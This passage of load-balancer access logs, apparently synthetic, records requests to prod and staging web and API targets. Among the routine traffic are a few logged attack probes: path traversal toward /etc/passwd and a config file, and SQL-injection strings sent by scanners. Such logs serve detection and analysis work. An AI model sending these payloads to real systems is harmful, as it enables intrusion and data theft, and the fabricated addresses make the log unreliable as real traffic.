8 2024-11-01T02:40:25.475270Z "forward" "-" "-" "10.0.132.144:443" "404" "-" "-" +https 2024-11-01T02:40:27.174993Z staging-alb 185.30.87.205:13057 225.233.88.174:443 0.107915 0.280174 0.134682 200 200 8 7493 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd2b-be7aacb98f5b43718d583028" "staging-alb.example.com" "-" 9 2024-11-01T02:40:27.174993Z "forward" "-" "-" "225.233.88.174:443" "200" "-" "-" +http 2024-11-01T02:40:28.507340Z staging-alb 155.185.154.46:11145 31.190.239.56:8080 0.020908 0.679859 0.074344 301 301 855 8777 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd2c-89a811eab967401e8748dad5" "staging-alb.example.com" "-" 7 2024-11-01T02:40:28.507340Z "forward" "-" "-" "31.190.239.56:8080" "301" "-" "-" +https 2024-11-01T02:40:29.689971Z prod-api-alb 5.231.148.14:25281 10.0.103.182:443 0.029133 0.403158 0.032954 200 200 994 4576 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd2d-03018fc1c5f14e2fa219bccf" "prod-api-alb.example.com" "-" 0 2024-11-01T02:40:29.689971Z "forward" "-" "-" "10.0.103.182:443" "200" "-" "-" +https 2024-11-01T02:40:31.126290Z prod-api-alb 175.55.255.205:27667 10.0.80.156:443 0.056456 0.303400 0.092533 302 302 632 7984 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd2f-d411853e2bd840dba00285b3" "prod-api-alb.example.com" "-" 10 2024-11-01T02:40:31.126290Z "forward" "-" "-" "10.0.80.156:443" "302" "-" "-" +https 2024-11-01T02:40:32.690954Z staging-alb 211.172.188.120:43037 69.62.172.6:443 0.002950 0.448203 0.115813 302 302 423 14845 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd30-73b452ccc2714ccd945b8f79" "staging-alb.example.com" "-" 1 2024-11-01T02:40:32.690954Z "forward" "-" "-" "69.62.172.6:443" "302" "-" "-" +https 2024-11-01T02:40:33.897370Z prod-web-alb 89.34.180.32:13804 10.0.66.17:443 0.062804 0.130221 0.011687 301 301 850 1964 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd31-a0822ced625442f787ba7ef3" "prod-web-alb.example.com" "-" 4 2024-11-01T02:40:33.897370Z "forward" "-" "-" "10.0.66.17:443" "301" "-" "-" +https 2024-11-01T02:40:35.142906Z prod-api-alb 173.187.57.225:45569 10.0.84.25:443 0.034304 0.075022 0.090772 200 200 637 5791 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd33-adfc6c97f91341b9a0c9885f" "prod-api-alb.example.com" "-" 10 2024-11-01T02:40:35.142906Z "forward" "-" "-" "10.0.84.25:443" "200" "-" "-" +https 2024-11-01T02:40:36.063219Z staging-alb 79.72.20.173:12005 119.156.75.212:80 0.067587 0.455177 0.006783 404 404 242 12654 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd34-5f417265167f4b1a9307255a" "staging-alb.example.com" "-" 1 2024-11-01T02:40:36.063219Z "forward" "-" "-" "119.156.75.212:80" "404" "-" "-" +https 2024-11-01T02:40:37.142418Z prod-web-alb 6.174.106.234:14400 10.0.146.160:443 0.078416 0.328787 0.005064 302 302 671 5372 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd35-98a179835cbf42b0b9be40da" "prod-web-alb.example.com" "-" 8 2024-11-01T02:40:37.142418Z "forward" "-" "-" "10.0.146.160:443" "302" "-" "-" +https 2024-11-01T02:40:38.342451Z prod-api-alb 85.96.6.221:45862 10.0.183.62:443 0.067159 0.499619 0.007710 200 200 74 7615 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd36-281cd2c8ec654635a2b549bf" "prod-api-alb.example.com" "-" 5 2024-11-01T02:40:38.342451Z "forward" "-" "-" "10.0.183.62:443" "200" "-" "-" +https 2024-11-01T02:40:39.350987Z prod-api-alb 231.176.74.63:61813 10.0.162.43:443 0.068164 0.440799 0.018214 302 302 388 13702 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd37-af1d7fad94c940eca9e3a333" "prod-api-alb.example.com" "-" 9 2024-11-01T02:40:39.350987Z "forward" "-" "-" "10.0.162.43:443" "302" "-" "-" +https 2024-11-01T02:40:40.684722Z prod-web-alb 235.59.51.222:40386 10.0.224.152:443 0.023755 0.142823 0.050008 301 301 364 8789 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd38-3b8c69de144042ecb2d0b231" "prod-web-alb.example.com" "-" 5 2024-11-01T02:40:40.684722Z "forward" "-" "-" "10.0.224.152:443" "301" "-" "-" +http 2024-11-01T02:40:41.910249Z staging-alb 146.151.163.38:31512 14.16.3.203:80 0.086987 0.472449 0.061205 301 301 717 12049 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd39-8fc32eb0a9534dcda115e398" "staging-alb.example.com" "-" 7 2024-11-01T02:40:41.910249Z "forward" "-" "-" "14.16.3.203:80" "301" "-" "-" +http 2024-11-01T02:40:42.787003Z staging-alb 84.58.222.38:39077 85.40.76.112:8080 0.054940 0.503383 0.072316 200 200 264 2738 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd3a-9df2a59b2fa743feae265e92" "staging-alb.example.com" "-" 9 2024-11-01T02:40:42.787003Z "forward" "-" "-" "85.40.76.112:8080" "200" "-" "-" +https 2024-11-01T02:40:43.386812Z prod-api-alb 185.181.119.128:46687 10.0.188.247:443 0.000442 0.168266 0.010486 403 403 608 6164 "POST /metrics HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd3b-f0f54124de634419ab2cb78e" "-" "-" 4 2024-11-01T02:40:43.386812Z "forward" "-" "-" "10.0.188.247:443" "403" "-" "-" +https 2024-11-01T02:40:44.758208Z prod-web-alb 193.27.228.122:23878 10.0.16.191:443 0.057692 0.093734 0.055603 404 404 432 11048 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd3c-67ea5c8edbe8400da29e7be8" "-" "-" 10 2024-11-01T02:40:44.758208Z "forward" "-" "-" "10.0.16.191:443" "404" "-" "-" +https 2024-11-01T02:40:46.736496Z prod-web-alb 45.155.205.16:34169 10.0.223.180:443 0.090308 0.330268 0.081386 403 403 341 11874 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd3e-318096026fcc4b94b3db4d80" "-" "-" 7 2024-11-01T02:40:46.736496Z "forward" "-" "-" "10.0.223.180:443" "403" "-" "-" +https 2024-11-01T02:40:47.651489Z prod-web-alb 185.181.231.107:29422 10.0.211.198:443 0.046423 0.145109 0.002680 200 200 70 13809 "POST /users?id=1 OR 1=1 HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd3f-bc9eea569c6c4e40b105205e" "-" "-" 0 2024-11-01T02:40:47.651489Z "forward" "-" "-" "10.0.211.198:443" "200" "-" "-" +https 2024-11-01T02:40:48.991410Z prod-api-alb 36.92.23.199:30629 10.0.12.90:443 0.036335 0.351514 0.043471 200 200 813 6416 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd40-badfbda3a86440d5986b0a00" "prod-api-alb.example.com" "-" 1 2024-11-01T02:40:48.991410Z "forward" "-" "-" "10.0.12.90:443" "200" "-" "-" +https 2024-11-01T02:40:50.251734Z prod-web-alb 126.124.199.62:12870 10.0.199.24:443 0.055146 0.453410 0.030250 302 302 583 9550 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd42-8b9f308e6d814013afc78926" "prod-web-alb.example.com" "-" 0 2024-11-01T02:40:50.251734Z "forward" "-" "-" "10.0.199.24:443" "302" "-" "-" +https 2024-11-01T02:40:51.258762Z prod-api-alb 29.10.229.34:34862 10.0.198.15:443 0.026991 0.168007 0.011312 302 302 508 14769 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd43-e85b327f327348cc8235df8d" "prod-api-alb.example.com" "-" 8 2024-11-01T02:40:51.258762Z "forward" "-" "-" "10.0.198.15:443" "302" "-" "-" +https 2024-11-01T02:40:52.737033Z staging-alb 189.92.245.234:57814 98.80.62.211:80 0.007021 0.589547 0.065619 301 301 285 3494 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd44-83a35ade8ac249e9aa1fc887" "staging-alb.example.com" "-" 1 2024-11-01T02:40:52.737033Z "forward" "-" "-" "98.80.62.211:80" "301" "-" "-" +https 2024-11-01T02:40:54.080998Z prod-web-alb 82.97.242.226:40975 10.0.138.107:443 0.044026 0.113397 0.040642 200 200 389 11420 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd46-bb4f792c0f6445e6a9f9c31b" "prod-web-alb.example.com" "-" 10 2024-11-01T02:40:54.080998Z "forward" "-" "-" "10.0.138.107:443" "200" "-" "-" +https 2024-11-01T02:40:55.617976Z prod-web-alb 16.190.36.145:27237 10.0.157.167:443 0.050007 0.328896 0.064552 200 200 153 5056 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd47-d39c0bf322d440d889dc4edb" "prod-web-alb.example.com" "-" 3 2024-11-01T02:40:55.617976Z "forward" "-" "-" "10.0.157.167:443" "200" "-" "-" +https 2024-11-01T02:40:56.160818Z prod-web-alb 198.193.158.120:46255 10.0.30.36:443 0.070573 0.003454 0.068257 404 404 629 200 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd48-7b7e9f882f4e43f682d828d4" "prod-web-alb.example.com" "-" 1 2024-11-01T02:40:56.160818Z "forward" "-" "-" "10.0.30.36:443" "404" "-" "-" +http 2024-11-01T02:40:56.354055Z staging-alb 145.174.147.218:58715 231.56.14.10:8080 0.144683 0.310949 0.119633 302 302 184 8068 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd48-e96e806cc0be4886b6c45e20" "staging-alb.example.com" "-" 9 2024-11-01T02:40:56.354055Z "forward" "-" "-" "231.56.14.10:8080" "302" "-" "-" +https 2024-11-01T02:40:57.546326Z prod-api-alb 50.223.199.74:52137 10.0.56.32:443 0.043902 0.167122 0.075040 302 302 174 7375 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd49-3056c997f3734af5bd19619e" "prod-api-alb.example.com" "-" 7 2024-11-01T02:40:57.546326Z "forward" "-" "-" "10.0.56.32:443" "302" "-" "-" +https 2024-11-01T02:40:57.863666Z prod-api-alb 220.245.207.225:53223 10.0.215.19:443 0.030602 0.111848 0.077074 301 301 512 5743 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd49-8856ccdfb52d43a99ce3b714" "prod-api-alb.example.com" "-" 2 2024-11-01T02:40:57.863666Z "forward" "-" "-" "10.0.215.19:443" "301" "-" "-" +https 2024-11-01T02:40:58.334450Z prod-api-alb 165.116.154.31:17230 10.0.79.152:443 0.088863 0.455714 0.064142 301 301 606 14031 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd4a-b105517f41364a5f837787b8" "prod-api-alb.example.com" "-" 0 2024-11-01T02:40:58.334450Z "forward" "-" "-" "10.0.79.152:443" "301" "-" "-" +https 2024-11-01T02:40:59.575397Z prod-api-alb 7.122.21.77:31066 10.0.216.111:443 0.094565 0.264864 0.031577 200 200 924 6081 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd4b-9958651415b944dab6f2cd3e" "prod-api-alb.example.com" "-" 8 2024-11-01T02:40:59.575397Z "forward" "-" "-" "10.0.216.111:443" "200" "-" "-" +https 2024-11-01T02:41:01.356437Z prod-api-alb 193.27.228.146:58127 10.0.221.49:443 0.060540 0.117010 0.009110 404 404 309 7999 "GET /api/../../../config HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd4d-12765d9911d0421dbf5f3db8" "-" "-" 5 2024-11-01T02:41:01.356437Z "forward" "-" "-" "10.0.221.49:443" "404" "-" "-" +https 2024-11-01T02:41:02.235741Z prod-web-alb 141.158.210.122:50199 10.0.249.206:443 0.060699 0.154400 0.062107 404 404 683 13655 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd4e-44e064257da940cba4023366" "prod-web-alb.example.com" "-" 8 2024-11-01T02:41:02.235741Z "forward" "-" "-" "10.0.249.206:443" "404" "-" "-" +https 2024-11-01T02:41:03.366083Z prod-web-alb 151.98.106.106:60031 10.0.24.163:443 0.032955 0.144175 0.012718 404 404 750 6640 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd4f-6aac223660474ee994652437" "prod-web-alb.example.com" "-" 3 2024-11-01T02:41:03.366083Z "forward" "-" "-" "10.0.24.163:443" "404" "-" "-" +https 2024-11-01T02:41:03.944420Z prod-api-alb 238.241.73.224:25392 10.0.41.180:443 0.002443 0.352234 0.025012 404 404 245 12841 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd4f-e4a47d60ac034830b18b183e" "prod-api-alb.example.com" "-" 1 2024-11-01T02:41:03.944420Z "forward" "-" "-" "10.0.41.180:443" "404" "-" "-" +http 2024-11-01T02:41:04.661668Z staging-alb 100.166.218.235:25937 142.202.179.255:80 0.007937 0.674415 0.144009 200 200 701 3804 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd50-566f763661a84e38bfa9f89c" "staging-alb.example.com" "-" 7 2024-11-01T02:41:04.661668Z "forward" "-" "-" "142.202.179.255:80" "200" "-" "-" +https 2024-11-01T02:41:05.226086Z staging-alb 184.219.63.63:34063 173.135.57.66:8080 0.146206 0.737712 0.118098 404 404 695 4193 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd51-047aed28333447f0add9b17c" "staging-alb.example.com" "-" 10 2024-11-01T02:41:05.226086Z "forward" "-" "-" "173.135.57.66:8080" "404" "-" "-" +http 2024-11-01T02:41:06.527158Z staging-alb 246.87.189.87:53225 253.57.251.141:443 0.103124 0.382578 0.132829 200 200 401 11407 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd52-4514b1da2f474c82876083e4" "staging-alb.example.com" "-" 2 2024-11-01T02:41:06.527158Z "forward" "-" "-" "253.57.251.141:443" "200" "-" "-" +https 2024-11-01T02:41:07.013357Z prod-api-alb 40.213.64.231:50098 10.0.203.221:443 0.014785 0.016936 0.025779 200 200 946 1143 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd53-76e38c7a6a8241188ca38f46" "prod-api-alb.example.com" "-" 6 2024-11-01T02:41:07.013357Z "forward" "-" "-" "10.0.203.221:443" "200" "-" "-" +https 2024-11-01T02:41:07.839940Z staging-alb 194.80.86.182:34120 132.140.49.85:8080 0.098210 0.151653 0.049863 200 200 188 2878 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd53-0cf65801fdcd4118bfcb07a3" "staging-alb.example.com" "-" 0 2024-11-01T02:41:07.839940Z "forward" "-" "-" "132.140.49.85:8080" "200" "-" "-" +https 2024-11-01T02:41:09.731429Z prod-api-alb 83.11.194.99:49158 10.0.145.204:443 0.009346 0.165931 0.017516 302 302 589 2934 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd55-0ca4d79572994e0096133be7" "prod-api-alb.example.com" "-" 8 2024-11-01T02:41:09.731429Z "forward" "-" "-" "10.0.145.204:443" "302" "-" "-" +https 2024-11-01T02:41:10.269235Z staging-alb 206.73.86.99:29621 22.154.189.88:8080 0.088597 0.238548 0.000744 301 301 163 11404 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd56-34575c9c1f474210be5c8592" "staging-alb.example.com" "-" 1 2024-11-01T02:41:10.269235Z "forward" "-" "-" "22.154.189.88:8080" "301" "-" "-" +https 2024-11-01T02:41:10.767035Z prod-api-alb 28.97.206.69:50631 10.0.226.110:443 0.021243 0.282188 0.032053 200 200 788 7386 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd56-148ef1b1cd59426385802447" "prod-api-alb.example.com" "-" 0 2024-11-01T02:41:10.767035Z "forward" "-" "-" "10.0.226.110:443" "200" "-" "-" +https 2024-11-01T02:41:11.871958Z prod-api-alb 195.128.98.242:52518 10.0.253.253:443 0.070417 0.234410 0.097878 302 302 543 4777 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd57-e531c68efe594b33a0c744ca" "prod-api-alb.example.com" "-" 9 2024-11-01T02:41:11.871958Z "forward" "-" "-" "10.0.253.253:443" "302" "-" "-" +https 2024-11-01T02:41:13.595257Z staging-alb 157.41.183.195:59450 138.37.208.229:8080 0.049871 0.126383 0.112842 200 200 672 8256 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd59-cfec168e633f478b95209bfa" "staging-alb.example.com" "-" 0 2024-11-01T02:41:13.595257Z "forward" "-" "-" "138.37.208.229:8080" "200" "-" "-" +https 2024-11-01T02:41:14.904720Z prod-api-alb 156.129.226.51:19433 10.0.39.172:443 0.059396 0.077804 0.007965 302 302 40 12610 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd5a-9b01c5fc97da4422aed0a7e4" "prod-api-alb.example.com" "-" 5 2024-11-01T02:41:14.904720Z "forward" "-" "-" "10.0.39.172:443" "302" "-" "-" +http 2024-11-01T02:41:16.017025Z staging-alb 124.96.51.88:64921 124.71.41.199:8080 0.073612 0.658558 0.146429 302 302 734 13442 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd5c-16d045d5f29541a492ee649e" "staging-alb.example.com" "-" 10 2024-11-01T02:41:16.017025Z "forward" "-" "-" "124.71.41.199:8080" "302" "-" "-" +https 2024-11-01T02:41:16.183934Z staging-alb 119.113.145.3:52013 203.246.244.254:443 0.040645 0.720472 0.036646 404 404 202 11607 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd5c-9f3a584ab65f403c93ed6f78" "staging-alb.example.com" "-" 0 2024-11-01T02:41:16.183934Z "forward" "-" "-" "203.246.244.254:443" "404" "-" "-" +https 2024-11-01T02:41:18.046937Z prod-web-alb 156.189.173.186:51393 10.0.36.67:443 0.036943 0.103589 0.005029 404 404 534 2540 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" 